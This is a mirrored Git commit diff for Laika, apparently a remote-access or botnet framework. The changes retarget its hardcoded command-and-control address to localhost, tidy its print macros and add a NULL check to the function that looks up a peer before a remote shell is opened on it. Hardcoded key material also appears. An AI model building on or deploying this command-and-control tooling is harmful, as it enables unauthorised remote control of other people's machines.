mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Sanity check to shellS_getPeer, visual improvements
This commit is contained in:
parent
192bf22225
commit
e3b1cf586b
@ -8,7 +8,7 @@
|
||||
/* keys */
|
||||
#define LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27"
|
||||
#define LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc"
|
||||
#define LAIKA_CNC_IP "10.0.2.2"
|
||||
#define LAIKA_CNC_IP "127.0.0.1"
|
||||
#define LAIKA_CNC_PORT "13337"
|
||||
|
||||
#endif
|
||||
|
@ -31,11 +31,15 @@ typedef enum {
|
||||
TERM_BRIGHT_WHITE
|
||||
} TERM_COLOR;
|
||||
|
||||
#define PRINTINFO(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
shellT_printf(__VA_ARGS__);
|
||||
#define PRINTINFO(...) do { \
|
||||
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
shellT_printf(__VA_ARGS__); \
|
||||
} while(0);
|
||||
|
||||
#define PRINTSUCC(...) shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_GREEN), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
shellT_printf(__VA_ARGS__);
|
||||
#define PRINTSUCC(...) do { \
|
||||
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_GREEN), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
shellT_printf(__VA_ARGS__); \
|
||||
} while(0);
|
||||
|
||||
void shellT_conioTerm(void);
|
||||
void shellT_resetTerm(void);
|
||||
|
@ -6,14 +6,14 @@
|
||||
#define STRING(x) #x
|
||||
#define MACROLITSTR(x) STRING(x)
|
||||
|
||||
const char *LOGO = "\n██╗ █████╗ ██╗██╗ ██╗ █████╗\n██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n██║ ███████║██║█████╔╝ ███████║\n██║ ██╔══██║██║██╔═██╗ ██╔══██║\n███████╗██║ ██║██║██║ ██╗██║ ██║\n╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
|
||||
const char *LOGO = "\n\t██╗ █████╗ ██╗██╗ ██╗ █████╗\n\t██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n\t██║ ███████║██║█████╔╝ ███████║\n\t██║ ██╔══██║██║██╔═██╗ ██╔══██║\n\t███████╗██║ ██║██║██║ ██╗██║ ██║\n\t╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
|
||||
|
||||
int main(int argv, char *argc[]) {
|
||||
tShell_client client;
|
||||
bool printPrompt = false;
|
||||
|
||||
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
|
||||
shellT_printf("\t\t%s\n\n", " v"MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
|
||||
shellT_printf("\t\t\t%s\n\n", " v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
|
||||
|
||||
shellC_init(&client);
|
||||
shellC_connectToCNC(&client, "127.0.0.1", "13337");
|
||||
|
@ -8,7 +8,8 @@
|
||||
#include "lerror.h"
|
||||
|
||||
#define CMD_ERROR(...) do { \
|
||||
shellT_printf("[ERROR] : " __VA_ARGS__); \
|
||||
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE)); \
|
||||
shellT_printf(__VA_ARGS__); \
|
||||
longjmp(cmdE_err, 1); \
|
||||
} while(0);
|
||||
|
||||
@ -19,7 +20,7 @@ jmp_buf cmdE_err;
|
||||
tShell_cmdDef *shellS_findCmd(char *cmd);
|
||||
|
||||
tShell_peer *shellS_getPeer(tShell_client *client, int id) {
|
||||
if (id >= client->peerTblCount)
|
||||
if (id >= client->peerTblCount || client->peerTbl[id] == NULL)
|
||||
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
|
||||
|
||||
return client->peerTbl[id];
|
||||
@ -57,7 +58,7 @@ void openShell(tShell_client *client, int args, char *argc[]) {
|
||||
id = shellS_readInt(argc[1]);
|
||||
peer = shellS_getPeer(client, id);
|
||||
|
||||
shellT_printf("\n\nOpening shell on peer %04d...\n\n");
|
||||
PRINTINFO("Opening shell on peer %04d...\n");
|
||||
|
||||
/* open shell on peer */
|
||||
shellT_getTermSize(&cols, &rows);
|
||||
@ -83,7 +84,7 @@ void openShell(tShell_client *client, int args, char *argc[]) {
|
||||
shellT_resetTerm();
|
||||
shellT_conioTerm();
|
||||
|
||||
shellT_printf("\n\nShell closed\n\n");
|
||||
PRINTSUCC("Shell closed!\n\n");
|
||||
}
|
||||
|
||||
/* =============================================[[ Command Table ]]============================================== */
|
||||
|
Loading…
Reference in New Issue
Block a user